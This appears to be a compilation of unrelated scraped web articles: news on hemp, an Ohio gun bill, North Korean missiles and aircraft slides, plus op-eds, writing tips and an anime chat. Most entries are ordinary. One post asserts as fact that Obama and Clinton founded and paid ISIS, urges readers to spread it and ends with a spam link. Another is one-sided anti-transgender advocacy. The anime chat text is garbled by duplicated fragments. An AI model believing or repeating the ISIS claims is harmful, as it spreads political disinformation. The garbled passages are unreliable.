-CLOSE After over 80 years, the first crop of industrial hemp is planted in Broome County. Patrick Oehler/Staff Video  New York State Assemblywoman Donna Lupardo, D-Endwell, speaks about the new industrial hemp farm at Nanticoke Gardens in Endicott on Thursday, July 13, 2017. Lupardo is joined by, from left, Binghamton University's School of Pharmacy Dean Gloria Meredith, and farm co-owners Chip Shafer and Pete Shafer. (Photo: Patrick Oehler/Staff Photo)  ALBANY - New York is looking for industrial hemp growers.  Gov. Andrew Cuomo announced Thursday that an application period is open to participate in the state's Industrial Hemp Agricultural Research Pilot Program.  The program is open to researchers, farmers and businesses who wish to research, grow, manufacture and produce industrial hemp in New York.  "By expanding industrial hemp research, we are opening the doors to innovative ideas that could provide a major boost to our farms and communities, creating new jobs, and laying the foundation for future economic growth," Cuomo said in a statement.  New York has passed a series of laws in recent years to promote and expand the industrial hemp industry, particularly in the Southern Tier and Catskills.  The pilot program was started in 2015, and earlier this year the cap on the number of participants in the program was lifted.  Currently, there are more than 20 licensed partners in the pilot program, leading to rapid growth in the amount of farmland used for industrial hemp production.  New York also created, in July, a $5 million industrial hemp processing grant program that can provide grants up to $500,000 to qualified applicants to help cover costs related to hemp production.  Industrial hemp can be used to make more than 25,000 different products including paper, clothing, construction materials and biofuels.  Applications to join the program will be accepted until Nov. 22.  For more information about the program or to apply, visit the state bureau of Agriculture and Markets website.  NVaughn@Gannett.com  Natasha Vaughn is a staff writer with USA TODAY Network's Albany Bureau.  Read or Share this story: http://on.rocne.ws/2wboAmy
-COLUMBUS, Ohio - New Ohio House legislation would allow concealed handguns to be taken into churches, day-care centers, aircraft, state buildings, airports outside security checkpoints, and publicly accessible areas of police stations.  House Bill 48, introduced this week by state Rep. Ron Maag, is similar to a gun bill the Warren County Republican unsuccessfully pushed last session.  The legislation would further allow conceal-carry permit holders to take handguns into school safety zones if the firearms are left in the car. Current law only allows people to carry concealed handguns in school zones when they are immediately picking up or dropping off a child.  Public and private universities and colleges would also be given the choice of allowing concealed handguns on campus, under the bill. Schools that allowed hidden guns would be granted legal immunity for any injuries or deaths that occur as a result.  Even though the GOP controls a historic 65-seat majority in the Ohio House, the bill's fate is unclear. HB 48 has 10 co-sponsors so far -- all Republicans, though several of them are first-term lawmakers without much clout.
-The UN Security Council unanimously condemned North Korea's firing of a ballistic missile over Japan as an "outrageous" threat and demanded that the country not launch any more missiles and abandon all nuclear weapons and programmes.  In a statement, the Security Council said it was of "vital importance" that North Korea take immediate, concrete actions to reduce tensions and called on all states to implement UN sanctions on North Korea.  The council also expressed "its commitment to a peaceful, diplomatic and political solution".  OPINION: N Korea is not Soviet Union and Trump is not Kennedy  "The Security Council stresses that these DPRK [North Korean] actions are not just a threat to the region, but to all UN member states," said the statement, issued after closed-door talks at UN headquarters.  "The Security Council expresses its grave concern that the DPRK is, by conducting such a launch over Japan as well as its recent actions and public statements, deliberately undermining regional peace and stability."  However, the US-drafted statement, which was agreed by consensus, does not threaten new sanctions on North Korea.  Diplomats say China and Russia - two veto-wielding council members - typically only view a test of a long-range missile or a nuclear weapon as a trigger for further possible UN sanctions.  China is working with other members of the Security Council on a response to North Korea's missile launch, the Chinese foreign minister said on Wednesday.  Wang Yi spoke just hours after the UN condemnation and Japan's UN ambassador suggested that a new sanctions declaration could come next.  Wang said China - which is North Korea's only major ally - was "now working with other members of the Security Council to discuss the recent developments of the situation".  He said that "based on the consensus of Security Council members, we are going to make a necessary response to the recent test launch of the missile".  But Wang did not specify whether a fresh set of sanctions was looming.  "Whether there will be new measures going forward, that should be discussed by the Security Council and consensus needs to be formed," he said.  Punishing sanctions  The Security Council earlier this month unanimously imposed new sanctions on North Korea that could cut by a third the country's $3bn annual export revenue after it staged two long-range missile launches in July.  North Korea has been under UN sanctions since 2006 over its ballistic missile and nuclear programmes.  Al Jazeera's Mike Hanna, reporting from the UN headquarters in New York, said that while China - North Korea's close ally and neighbour - approved the statement, it had also criticised ongoing joint US-South Korea military exercises which North Korea sees as a threat.  "So while agreeing to condemn North Korea and also agreeing to enforce previous UN sanctions on that country, China making very clear as well that [they believe] there are other duties that some of the Security Council member states could exercise to help defuse the situation within that region," he said.  "But generally, a clear signal of Security Council unity and a very important signal that China has confirmed it will help enforce the execution of sanctions already in place, and this is the critical issue."  Earlier, North Korean leader Kim Jong-un called on Wednesday for more weapons tests targeting the Pacific Ocean.  Tuesday's missile launch - likely the longest ever from North Korea - over the territory of a close US ally sends a clear message of defiance as the US and South Korea conduct war games nearby.  Pyongyang's official Korean Central News Agency said it was a Hwasong-12 intermediate range missile that the North first successfully tested in May and threatened to fire into waters near Guam earlier this month.  INFOGRAPHIC: North Korea explained in graphics  Kim expressed "great satisfaction" over the launch that he called a "meaningful prelude" to containing Guam, which is home to key US military bases that North Korea finds threatening, the agency said. He also said the country will continue to watch "US demeanours" before it decides on future actions.  Kim also said it's "necessary to positively push forward the work for putting the strategic force on a modern basis by conducting more ballistic rocket launching drills with the Pacific as a target in the future."  The launch seemed designed to show that North Korea can back up a threat to target the US territory of Guam if it chooses to do so, while also establishing a potentially dangerous precedent that could see future missiles flying over Japan.  South Korea's Joint Chiefs of Staff said the missile travelled around 2,700km and reached a maximum height of 550km as it flew over the northern Japanese island of Hokkaido.  The KCNA said the flight test was a countermeasure to the Ulchi Freedom Guardian joint military exercises between the United States and South Korea that run through Thursday. Pyongyang views the annual war games between the allies as invasion rehearsals.  In a statement, US President Donald Trump said North Korea had signalled its "contempt for its neighbours" and that "all options are on the table" in terms of a US response.  OPINION: Should you be worried about North Korea?  Any new test worries Washington and its allies because it presumably puts North Korea a step closer to its goal of an arsenal of nuclear missiles that can reliably target the US. Tuesday's test, however, looks especially aggressive to Washington, Seoul and Tokyo.  North Korea has conducted launches at an unusually fast pace this year - 13 times, Seoul says - and some analysts believe it could have viable long-range nuclear missiles before the end of Trump's first term in early 2021.
-Rep. Justin Amash said a request from Pentagon chief James Mattis prompted his vote to preserve former President Barack Obama’s pro-transgender policies in the military.  In a July 16 Facebook post explaining his unpopular July 13 vote, Amash wrote:  On July 13, the House voted on an amendment offered by Rep. Hartzler. The amendment says that “[f]unds available to the Department of Defense may not be used to provide medical treatment (other than mental health treatment) related to gender transition to a person entitled to medical care” under the military health system … [Defense] Sec. [James] Mattis and the White House urged us not to adopt Hartzler Amendment [and] all the administration wants is three months to review everything.  So far, administration and Pentagon officials have not confirmed Amash’s claim of their opposition to the Hartzler amendment. However, on June 30, Matt ordered a six-month suspension of Obama’s rules, which were about to invite transsexuals to join the military from July 1. The suspension will give Mattis — and new appointees — until January 2018 to decide if the military will endorse the transgender ideology.  In contrast, Mattis ordered a six-month suspension of Obama’s rules on June 30, which were about to invite transsexuals to join the military from July 1. The suspension will give Mattis — and new appointees — until January 2018 to decide if the military will endorse Obama’s pro-transgender ideology.  Amash was one of 23 Republicans who voted with all lockstep Democrats to preserve the Obama-era transgender policy with a narrow vote of 214 to 209.  The Obama policy endorses the transgender ideology by validating and accepting recruits who believe their “gender” is different from their male or female body, and by also offering transsexuals free lifetime medical care — such as debilitating hormones and expensive surgery, despite the loss of military readiness. The new rules also enforce transgender demands by ordering servicemen and servicewomen to offer “dignity and respect” to transsexuals in their shower rooms and in their shared sleep spaces, while also telling transsexuals that they “are not required or expected to modify or adjust their behavior based on the fact that they do not ‘match’ other Soldiers.”  Hartzler’s amendment rejected the ideology of the transgender movement by prohibiting the use of taxpayer dollars to pay for the non-military medical task of converting physically healthy soldiers into transsexuals who face lifelong dependence on hormones and surgery.  Freshman Florida GOP Rep. Brian Mast — who voted for Hartzler amendment after first miscasting his vote — said the Pentagon should not divert funds from military readiness to cosmetic medical services. Mast, a veteran, told Breitbart:  I don’t think the military should be paying for any elective surgery, whether it be for transgender surgery or cosmetic surgery. Everything we look for in Defense Department spending has to make the warfighter better off and safer on the battlefield. No question, this [transgender policy] doesn’t. I’ve been on the battlefield … I have [veteran] friends who can’t get oxygen treatment, who can’t get the things they need for their spine, or can’t get the best wheelchairs or body armor… This is going to be where we should be spending our money. That should make sense to everybody.  During the floor debate, Mast added, “I certainly heard on the House floor [legislators saying] that General Mattis requested that this amendment be pulled from the floor and that he is going to work the issue.” However, that story has not been confirmed by the administration, he added.  Amash’s Facebook statement suggested that the public’s pressure may cause him to flip flop on his vote. After first justifying his vote, Amash ended his post by echoing Mast’s comments about the need to prioritize medical spending and to focus on combat effectiveness:  Given the facts, circumstances, and eminently reasonable request from the Trump administration, it was not a difficult decision to vote no on this amendment. After Sec. Mattis announces the DoD’s finalized policy, we can discuss the policy with him, evaluate it, and seek changes if necessary. Those who serve in our Armed Forces deserve the best medical care. One question we must ask and answer, with the aid of the medical community, is which treatments are medically necessary and which are simply elective. With respect to transgender persons, we should focus on the best science, not the political or philosophical opinions of partisans. Finally, service in all aspects of our Armed Forces cannot be guaranteed to everyone. The job of our Armed Forces is to defend our country, and the DoD should be given more leeway than other parts of the executive branch with respect to personnel decisions.  However, if Mattis decides to continue Obama’s pro-transgender policies in December, then Democrats, liberal Republicans, and the established media will likely deter the GOP leadership from pushing for corrective reforms.  According to critics, Obama’s pro-transgender policies may cost the military up to $3.7 billion over the next ten years if the number of transsexual people in the military matches the high claims by transgender activists.  So far, the military’s most famous transsexual soldier is Private Bradley Manning, who copied and released 90,000 military reports from Iraq and Afghanistan. He was released from jail in early 2017 after Obama reduced his jail sentence. Manning has since changed his name to Chelsea Manning.  The transgender ideology says that a person’s legal sex should be determined by their self-declared “gender identity,” not by their male or female body. The ideology also says the federal government should force Americans to accept the “gender identity” claims made by each person, regardless of scientific data about genetics, biology and the variety of normal behavior and appearances shown by normal equal-and-complementary women and men.  Polls show that strong majority of ordinary Americans oppose the progressive claim that unverifiable “gender” is more important than a person’s sex. Polls also show that Americans want sexual privacy in bathrooms and shower rooms and especially in K-12 schools. Also, the polls show that most Americans want to be polite and helpful to the very few transsexual people who wish to live as members of the other sex. According to one study of the 2010 census, the population of transgender people amounts to one in every 2,400 Americans, or 0.03 percent of the adult population.  The fight over the Pentagon’s policy is important because a Pentagon approval of the pro-transgender ideology would help transgender activists pressure judges and swing-voting legislators to impose the transgender rules on Americans’ civic groups, such as schools, universities, and workplaces.  The progressive push to bend Americans’ attitudes and their two-sexes, male and female, civic society around the idea of “gender” has already attacked and cracked popular social rules for how Americans handle the many social preferences of equal, different and complementary men and women, boys and girls. For example, the gender claims shifted rules or practices about different-sex bathrooms, shelters for battered women, sports leagues for girls, hiking groups for boys, K-12 curricula, university speech codes, religious freedoms, free speech, the social status of women, parents’ rights in childrearing, practices to help teenagers, women’s expectations of beauty, culture and civic society, scientific research, prison safety, civic ceremonies, school rules, men’s sense of masculinity, law enforcement, and children’s sexual privacy.
-It’s something we all hear about during an airplane safety demonstration, but for most of us, hopefully it’s something we’ll never actually have to use.  The evacuation slide.  While it’s exceptionally rare that it would have to be deployed, every commercial aircraft is fitted with an inflatable slide should there be an emergency where customers need to get off the aircraft quickly and safely.  Now, British Airways ground staff has given us a glimpse into exactly how the slide works, in a new behind-the-scenes video where they deploy a Boeing 777-200’s slide during a series of safety checks at London Gatwick.  Boeing 777-200 planes are fitted with eight slides for maximum safety and efficiency – and these are all checked almost on a daily basis by highly trained engineers to ensure that they work properly.  To operate the slide, engineers open the aircraft door in the ‘automatic’ position, which automatically causes the inflatable to deploy.  It’s an impressive sight, as the huge inflatables can be up to 14 metres (or 46ft long) – and yet it takes just six seconds for it to roll out, inflate and be ready for passengers.  A speed we imagine comes in handy during an emergency.  In the clip, British Airways licensed engineer Peter Dyer explains that to activate the slide, cabin crew need to put the door to ‘automatic’ and pull the door handle to 180 degrees, at which point an assist system will take over.  He expanded: “It will fire the squib, the nitrogen pressure in the bottle will power open the door, the slide pack will fall off and then the slide will inflate in six seconds.”  Oh, and if you’ve ever heard cabin crew being asked to ‘cross check’ a door, there’s a simple explanation.  Doors need to be set ‘to automatic’ or ‘manual’ prior to take off and landing so that they’re ready for an emergency – so cabin crew need to make sure they are in the correct position.  Original Source
-True Justice Must Be Served For Guantanamo Detainees  President Barack Obama lifted a moratorium on transfers of Guantanamo bay detainees to Yemen – a moratorium he put in place. Why Obama put this moratorium into place after vowing, on a multitude of occasions, to do whatever he could to restore justice and shut down Gitmo is neither here nor there. I don’t intend to speculate on his reasons for taking so long, but I will say that this is one step forward after 3000 steps back.  But of course, this step is only a drop in the bucket representing justice for those jailed indefinitely at Guantanamo Bay. Now that Obama has made a meaningful step forward toward ending Gitmo, we must put pressure on the executive to see true justice is served. So what will true justice look like for those innocent individuals jailed at Guantanamo? Surely justice would not be to merely release these prisoners into Yemen, where they may very likely meet their end in death-by-drone at some later date.  First, we must look at compensation. In half of the union’s states, compensation is due to those who have wrongfully been imprisoned. Federal statute stipulates $50,000 per year of imprisonment, and $100,000 for those on death row. But of course, for far too many at Gitmo, their wrongful caging goes beyond the standard state or federal case. For example, many were never formally charged with a crime. Many were stripped from their homeland and brought to a foreign island. Many were either tortured directly or force fed during a heroic and continuing hunger strike. All were forced to live under the constant threat that any privileges afforded to them can be stripped away, if they ever refused to comply with the demands of guards. And lastly, many have been known to be innocent for years.  For all of these reasons, we must consider that due compensation far exceeds that of the average wrongfully imprisoned American. I do not mean to speak softly of the plight of your average American prisoner. Practice of solitary confinement has been found by human rights watchdogs to be nothing less than torture. But issues of solitary confinement at Guantanamo are even worse than your average federal supermax. As of 2009, a majority of Gitmo detainees were being held in solitary confinement, often deprived of sleep and beaten for the slightest deviations of prison protocol according the Center For Constitutional Rights.  The issue of compensation is then a difficult one to calculate. There are no standards one can abide by. I might suggest a lump sum of $2m for each innocent detainee, along with either continued compensation from their torturers or even a shifting of the torturers’ wages and benefits to those who should be freed. The same will go for any other prisoner who, in the past or in the future, will be proven innocent of crimes they have never even been accused of formally.  There is also the concerning issue of releasing detainees into Yemen, where I earlier half-jokingly referred to their possible fate of being bombed by the same government that at one time imprisoned them. President Obama, in the same recent speech that he addressed the issue of Guantanamo, also hinted that the drone policy of his administration is going to be made permanent and even be pursued to new degrees. Perhaps instead we should allow the detainees to be freed into the U.S., into any area of their choosing. Anthony Gregory has suggested Pennsylvania avenue as a possible relocation for them, but that might not be in the cards. I think that they should at least be given the option of living in America, as opposed to Yemen or other countries. Perhaps we can even get them on a path to U.S citizenship? This might, quite ironically, be the safest place for them.  And then there is the issue of future justice. Justice can not truly be served while the practices that led to their wrongful imprisonment are still being carried out. We must arrest their torturers and those responsible for implementing, endorsing and enforcing their torture. This includes both George W. Bush and Barack Obama, along with a lengthy list of top military brass. They, like all others, are entitled to a trial. Those found guilty must pay restitution. We must end the unjust occupations that made such black-bagging of individuals seem necessary. End our campaigns in Afghanistan, Pakistan, Yemen, Somalia and all other nations under attack by the U.S government. End government secrecy. Allow free and open journalism about war crimes the U.S has committed. We must make a solemn promise to never allow such a travesty of justice to occur ever again.  Finally, there is the issue of legacy. Many of those detained unjustly have acted as noble heroes worthy of reverence. Their hunger strike forced the issue, laying bare the injustice of their imprisonment. As such, a memorial is in order. Perhaps we can set aside a space in the heart of Washington D.C, alongside those who seek to emblazon the injustice of Japanese internment camps, where family, friends and supporters can set up such a memorial. To create a memorial for all those innocent victims of a racist United States military.  We must honor, revere and restore as much justice as possible to these innocent victims. We must never forget.
-California marked the month-long celebration Sikh Awareness Month (SAAM) celebrations for the fifth year in a row. With Donald Trump 's the US President-elect, this year's awareness month could potentially be the most important SAAM to date, as the future of Sikh Americans hangs in the balance, said Sikh Coalition community development manager Harjit Kaur. She said minority communities across the nation have experienced an uptick in hate crimes, bullying, and discrimination as a result of the current political climate.A series of Sikh-related events were organised through the month, from local activities in schools to collaborating with the basketball team, the Los Angeles Clippers.Sikh Coalition community development manager Harjit Kaur explains how it all came about. “Since November 2010, California community leaders have engaged with legislators to recognize the contribution of Sikh Americans to California and to provide a platform to create aware ness about Sikhs in California educational institutions and the community .“ Harjit elaborates, “This year, Assembly member Jim Cooper presented Dr Onkar Singh Bindra and me with the state member resolution celebrating Sikh Awareness and Appreciation Month. California state superintendent of public instruction Tom Torlakson also recognised November as the awareness month for California's public schools. Sikh Awareness and Appreciation resolutions have been passed in Yuba City , Fresno, San Jose, Bakersfield, Fremont, Santa Cruz, and Santa Clara, along with numerous school districts across the state.The Sikh Coalition, along with many volunteers, has delivered presentations to hundreds of Californians across the state in classrooms and local libraries.The Sikh Coalition also co-hosted a Sikh Awareness and Appreciation game with the Los Angeles Clippers.Over 350 Sikh Americans attended the LA Clippers game alongside the other 19,000 spectators. It also featured the US national anthem by Raaginder `Violinder' Singh on the violin as well as the Los Angeles Sikh Boy Scouts of America colour guard, and half-time entertainment by Da Real Punjabiz.Harjeet said they work tirelessly to ensure that SAAM is used as a platform to meaningfully engage with legislators, educators, and community members across the state to address these issues. “This year, after helping to protect Sikh history in California in July , the Sikh Coalition secured safe passage of AB-2845, a groundbreaking new anti-bullying law in California in September“.
-'Orange Is The New Black' writer Lauren Morelli and her girlfriend Samira Wiley, who also stars on the show, on the way to the Emmys (via Lauren Morelli's Instagram)  One of the main writers for Netflix's Orange Of The New Black has filed for divorce from her husband after realizing, through writing the show, that she's a lesbian. Lauren Morelli and her husband of two years, Steve Basilone, recently filed a joint petition for divorce according to TMZ.  Morelli started writing for Orange less than half a year after getting married to Basilone, and realized that she was gay after writing for the main character Piper. In the series, Piper is a bisexual woman who is reunited with her former lover when she is sent to an all-women prison. "I found a mouthpiece for my own desires and a glimmer of what my future could look like," she wrote of her realization, back in May.  Her new squeeze, now that she knows where her heart truly lies? OITNB's own Samira Wiley, who plays Poussey Washington on the show.
-Barack Hussein Obama and Hillary Clinton continue to act clueless when it comes to ISIS. They act clueless about when they formed, where they are today, and how can we defeat them. They are lazy, but they are also severely incompetent.  Last week, Donald Trump asserted that Hillary Clinton and Obama “founded ISIS.” Trump didn’t literally mean they sat down and discussed how to create this group from scratch–or did he?  Trump’s statement is 100% accurate, and a leaked memo from the State Department proves it to be true!  A month ago, it was released that Hillary Clinton received classified intelligence stating that Obama was supporting Al Qaeda in Iraq (AQI), the group that changed their name to ISIS. So, Obama is the founder of ISIS, and Hillary quickly became the co-captain of this dangerous team in 2012.  The leaked memo made it abundantly clear that AQI used Muhammad Al Adnani as their spokesman. Guess what, he is now the spokesman for ISIS. Barack Hussein Obama was literally paying them money! This is not even close to a joke or a theory. The leaked memo proves it to be factual.  Obama’s plan was to support the terrorist group until they overthrew Syrian dictator Bashar al Assad. Toppling dictators and supporting terrorist groups has NEVER worked, but Hillary continues to think so. She was a heavy proponent of this idea. Keep that point in mind.  In an August 2012 “SECRET” classified memo made its way to Hillary Clinton AND Obama.  Farrell confirmed that the report was read by Hillary Clinton via the recipient marking “RUEHC/SECSTATE WASHINGTON DC.”  The document is very lengthy and some portions are still classified, so we pieced together certain aspects to show the exact memo Hillary Clinton and Barack Obama saw.  THE GENERAL SITUATION: A. THE SALAFIST, THE MUSLIM BROTHERHOOD, AND AQI ARE THE MAJOR FORCES DRIVING THE INSURGENCY IN SYRIA. B. THE WEST, GULF COUNTRIES, AND TURKEY SUPPORT THE OPPOSITION; WHILE RUSSIA, CHINA, AND IRAN SUPPORT THE REGIME.  This report primarily discusses the background of AQI, their methods, capabilities, and that they use the spokesman of the Islamic State of Iraq Muhammad Al Adnani. Clearly there are already signs of bad things, but Hillary and Obama push even harder on this.  The report continues:  AL QAEDA – IRAQ (AQI): A. AQI IS FAMILIAR WITH SYRIA. AQI TRAINED IN SYRIA AND THEN INFILTRATED INTO IRAQ. B. AQI SUPPORTED THE SYRIAN OPPOSITION FROM THE BEGINNING, BOTH IDEOLOGICALLY AND THROUGH THE MEDIA. AQI DECLARED ITS OPPOSITION OF ASSAD’S GOVERNMENT BECAUSE IT CONSIDERED IT A SECTARIAN REGIME TARGETING SUNNIS.  The intelligence report from 2012 also predicts that segments of Al Adnani’s AQI group will break off and join ISIS, making them much stronger:  THIS CREATES THE IDEAL ATMOSPHERE FOR AQI TO RETURN TO ITS OLD POCKETS IN MOSUL AND RAMADI, AND WILL PROVIDE A RENEWED MOMENTUM UNDER THE PRESUMPTION OF UNIFYING THE JIHAD AMONG SUNNI IRAQ AND SYRIA, AND THE REST OF THE SUNNIS IN THE ARAB WORLD AGAINST WHAT IT CONSIDERS ONE ENEMY, THE DISSENTERS. ISI COULD ALSO DECLARE AN ISLAMIC STATE THROUGH ITS UNION WITH OTHER TERRORIST ORGANIZATIONS IN IRAQ AND SYRIA, WHICH WILL CREATE GRAVE DANGER IN REGARDS TO UNIFYING IRAQ AND THE PROTECTION OF ITS TERRITORY.  Remember when American Kayla Mueller was taken hostage by ISIS and was kept as a sex slave for ISIS leader Abu Bakr Al Baghdadi? Had ISIS been destroyed from the beginning like a leaked memo warned, this atrocity wouldn’t have happen to an American!  Both Obama and Hillary Clinton knew ISIS was going to carry out all of the plans in all of the locations before it happened. Did they stop them? No.  This memo leaked proves Obama and Hillary saw this information in 2012, which was just before ISIS rose to their prominence in 2014. So, yes, Mr. Trump, they are the founders of ISIS. They paid them and allowed them to do whatever they wanted in the Middle East.  Here is a former Obama Pentagon official admitting Trump is right:  This report accurately predicted that ISIS would take over Mosul, Raqqa, and Ramadan. Obama and Hillary say Trump lacks the mental capacity, yet these two weak leaders paid ISIS and allowed them to grow into the world’s largest jihadi network. Who lacks the mental fortitude now?  Assange says that he plans to release an “October surprise” that he guarantees will lead to Hillary’s criminal trial, but we have come across an issue. Assange has been receiving thousands of death threats. It is reported that the higher ups are working to take him out before he can release the documentation.  If we don’t continue to share these leaks, he can’t accomplish justice like he is risking his life to. We have reports of social media censoring these type of posts, but they can’t stop them if they are heavily shared. Please show this to everyone! Obama and Hillary are the founders of ISIS.  Trump was 100% correct and leaked classified memo’s prove it to be true. If elected, Hillary may give rise to ISIS 2.0, and we will never be able to stop them.  Check Arrest Warrants Online instantly with this site. You might even see Obama’s warrant soon hopefully!
-You finally found a couple of free hours for writing. Your head is full of ideas, and you can’t wait to get them out there. Perhaps you even have a word count you’re aiming for (e.g. the NaNoWriMo Challenge). You’re focused, energized, and you have a plan: you’re going to write a very fast first draft.  Two hours later, all you have is 3 odd paragraphs that you’re not even happy with. What happened?!  If you recognize this scenario, don’t worry – you’re not alone. Writing a lightning-speed draft is not an easy skill to master. However, for anyone who wants to write anything longer than an email, writing a fast draft is a crucial skill; and it’s not just about saving time. Fast writing is also about focus, clarity, and the freedom to experiment with competing ideas.  Here are 10 tips to help you write your drafts faster than you ever imagined possible.  Speed tip #1: Don’t worry about grammar  Don’t bother putting together well-constructed sentences. Just string words together to create content, and worry about form later on.  For example, Let’s take this sentence (just a random piece of text):  This very detailed training video demonstrates everything you need to know about writing a post in WordPress. All of the basics are covered, as well as some of the more advanced features that are hidden below the surface.  Here’s how I would speed-draft it:  Video shows what you need for WP post. Basics+hidden features covered.  Speed tip #2: Don’t look back  The best way to tangle yourself up with completely unimportant decisions for hours on end, is to edit your text while you’re writing it. If you want to write a lightining-speed first draft, you’ll have to just keep on writing. Imagine the arrow keys on your keyboard, as well as the [Backspace] and [delete] buttons, have been rigged to explode on touch. Don’t set them off!  >Speed tip #3: Write your fixes  Tip #2 may sound a bit impractical. What if you suddenly realize that your last few sentences have led you to a dead end? Or you’ve forgotten to make an important point three paragraphs earlier? Wouldn’t you HAVE to go back and fix stuff? Well maybe, but since your editing keys are now explosive, you probably shouldn’t. Simply write down your thoughts, and move on. If you want to start over, simply mark it with ‘***’ and keep going forward.  This is from my short story Smiling Widow. Spelling mistakes are from the original draft; I chose to leave them in.  Without a word Betty turned – slammed door behind. walked into gloom outside. (rain stopeed a little earlier?) + widow should yell at her: “and don’t come back to beg!”  Speed tip #4: use short sentences  Crafting a long, elaborate paragraph that strings together several ideas into a single long and winding sentence, can be confusing and vague not just for the writer but also for the poor reader. Don’t you agree?  Here’s how I’d speed-draft this last sentence:  Writing a long paragraph can take time. Not just for writer but also for reader.  Personally I have a tendency for too elaborate writing. This kind of writing also helps me fight that weakness.  Speed tip #5: Use bullets  Bullets are great for speed-writing. They allow you to toss in disjointed thoughts at random order, and worry about arranging and connecting them later on.  For example, this sentence:  This very detailed training video demonstrates everything you need to know about writing a post in WordPress. All of the basics are covered, as well as some of the more advanced features that are hidden below the surface.  Can be drafted with bullets like this:  Detailed training video – shows WP posting  Advanced/hidden features covered  Basics covered  Psychologically, I also find it easier to disregard grammar (tip #1) when I write like this.  >Speed tip #6: Use simple words  Forget your arsenal of fancy vocabulary. Later on you can furnish language, searching for just the right word for the particular undertone you wish to convey. For your speed draft, just use plain language. Remember that the first draft should be all about broad strokes, not subtle ornamentation.  Here’s how I drafted the above paragraph:  Don’t use nice words. Fix language later. First draft is broad strokes.  Words like ‘nice’ and ‘fix’ are very general, so I didn’t use them in the final sentence. For a draft, however, that kind of broadness is exactly what’s needed.  Speed tip #7: Use abbreviations, acronyms and codes  Get used to writing abbreviations (like ‘sth’ for ‘something’ or ‘vid’ for video) and acronyms (like like CW for ‘CreativityWise’). Even if you type really fast, this habit will speed you up considerably. It will also help you avoid fancy language in your drafts.  This very detailed training video demonstrates everything you need to know about writing a post in WordPress.  Quick:  This vid = all you need re:WP posts.  You can also use your own ‘codes’ to replace whole phrases, even entire paragraphs. My book ‘The Mechanics of Inspiration’ naturally includes many anecdotes and ideas I was already very familiar with. My first drafts were full of codes like ‘Asterix story’ or ‘stroll/trip’, which really helped me speed things up.  Speed tip #8: Turn off your phone, unplug your internet  For some of you, this is surely the most impractical and annoying advice in this post. What if something important happens and I’m not reachable to respond?  Do remember that the whole point is to be working FAST – so all we’re talking about here is 20-30 minutes of unplugged quietness. Can you not unplug for just 20 minutes? I think you can. Challenge yourself to get used to that. It really makes a huge difference in your ability to focus.  Speed tip #9: Go to the loo before you begin  Sorry if this sounds too silly, but when nature calls it’s no less distracting than when your mother-in-law calls; and unlike your mom in law, you can’t ignore the call or say “I’ll get back to you later, sorry”. If the secret of fast draft writing is focus and flow, then not even your own body should be allowed to interrupt.  Speed tip #10: Use a simple editor  Here’s a surprising piece of truth: word processors are really awful writing tools. They are excellent, amazing, phenomenal tools for editing; but they suck for writing, because they’re just mind-bogglingly distracting! They offer way too many options for stuff that isn’t purely writing: choosing fonts, designing headlines, finding synonyms, fixing grammar and spelling mistakes in one click (that’s one too many clicks!) and so on. In one gloriously embarrassing case, I found myself using Photoshop to design nice-looking bullets for my draft. Seriously.  One of the best writing tools is good old pen and paper. It also helps you avoid too much editing, making it physically difficult to do. If you’re happy with writing by hand, this should probably be your weapon of choice.  If you prefer typing (like I do), there are quite a few great writing programs that offer liberating simplicity. I often use the Q10 writer. If you’re using an iPad, try the iA Writer.  BONUS! Speed tip #11: Write in a series of short bursts  If you’re anything like me, a countdown clock starting with as little as 15 minutes will get you going like a demon. (Q10 actually has an internal countdown clock for exactly that reason). So light up that fire in your eyes, and start typing! You’ll be amazed how far you can get with a 15 to 30 minutes countdown. Try it!  Goodbye, procrastination!  Did procrastination ever steal your creative juice away? That’s probably because you had that feeling that ‘there’s no point starting – I’ll never finish this’. Or maybe you thought, ‘I know I’ll start criticizing myself and editing it to death, end up hating the result, and the whole thing is just going to be too painful. Better stick to watching funny videos of cats on the net’. Well guess what? If you can achieve something great in 20 minutes, and if you’re not even allowed to edit yourself – then its goodbye procrastination, farewell writing blocks, and hello creative flow!  Want to know more about the creative process?  Comments  comments
-Well over a decade has passed since Kino's Journey was first adapted into anime, but this season brought us an unexpected remake with Kino's Journey - The Beautiful World . This week in anime, Jacob and Steve compare notes on how the character's world has changed with time.  Disclaimer: The views and opinions expressed by the participants in this chatlog are not the views of Anime News Network . Spoiler Warning for discussion of the series ahead.  Steve  Well Jake, it's 2017, and reboots are still where the big money is. So what better anime series to reboot than a niche hit from 14 years ago that examines philosophical questions through careful allegory!  Jacob  ah yes, you vs the Kino she told you not to worry about  ah yes, you vs the Kino she told you not to worry about  Kino's back! And they're still on a journey, go figure.  It's about as unexpected a choice for a remake as you can get, despite the wealth of source material. The first anime adapted stories from about two books? Three if you count OVAs? But there are twenty books. So far.  Which is why I was pretty optimistic when I heard about the new series! It's definitely not my first choice for a reboot, but the original series is one of my favorite anime, and the prospect of seeing some of the newer stories get animated was exciting.  Honestly, my favorite thing about this new project is its origin story.  Oh, what's that?  Aoi Yūki , was the driving force behind getting more made. Which okay, voice actress is a fan of thing, uses her influence to push for a remake, not a special occurrence. Apparently the new voice of Kino,, was the driving force behind getting more made. Which okay, voice actress is a fan of thing, uses her influence to push for a remake, not a special occurrence.  Aoi Yūki 's debut anime role was?  But guess what's debut anime role was?  If you haven't seen the OG Kino's Journey , that won't mean much to you, but if you have, boy are there layers to that casting choice.  HOLY SHIT I had no idea! That's so cool!  Keiichi Sigsawa . First a new Kino's anime, and then a Gun Gale Online Alternative anime next year! (He wrote that too, the man likes his firearms.) It's gonna be a good year for author. First a new Kino's anime, and then a Gun Gale Online Alternative anime next year! (He wrote that too, the man likes his firearms.)  Kino's Journey and Sword Art Online , but that's anime for you. Aoi Yūki is definitely one of the most talented voice actresses currently working, and her performance as Kino is one of my favorite things about the new series. It is still wild to me that there's one degree of separation betweenand, but that's anime for you.is definitely one of the most talented voice actresses currently working, and her performance as Kino is one of my favorite things about the new series.  Same. I'm a little torn on the art style difference so far, but despite the improved animation of the new series, I think I still tilt more in favor of the old look. Kino's setting is not so much a detailed fantasy world as a series of broad fable worlds. So I liked the more dreamlike and surreal aesthetic that made its stories feel less literal.  Ryutaro Nakamura of Serial Experiments Lain fame, and his control of atmosphere definitely benefited the tone of the series. The muted colors and cartoony character designs evoked a kind of retro feel, and they even added a CRT scanline filter on top of everything, like you were constantly reminded that you were watching a TV show, that it was fiction. As a framing device, it helped further separate the audience from the anime and reinforced the fantastical, fable-like nature of the stories. The old anime was directed byoffame, and his control of atmosphere definitely benefited the tone of the series. The muted colors and 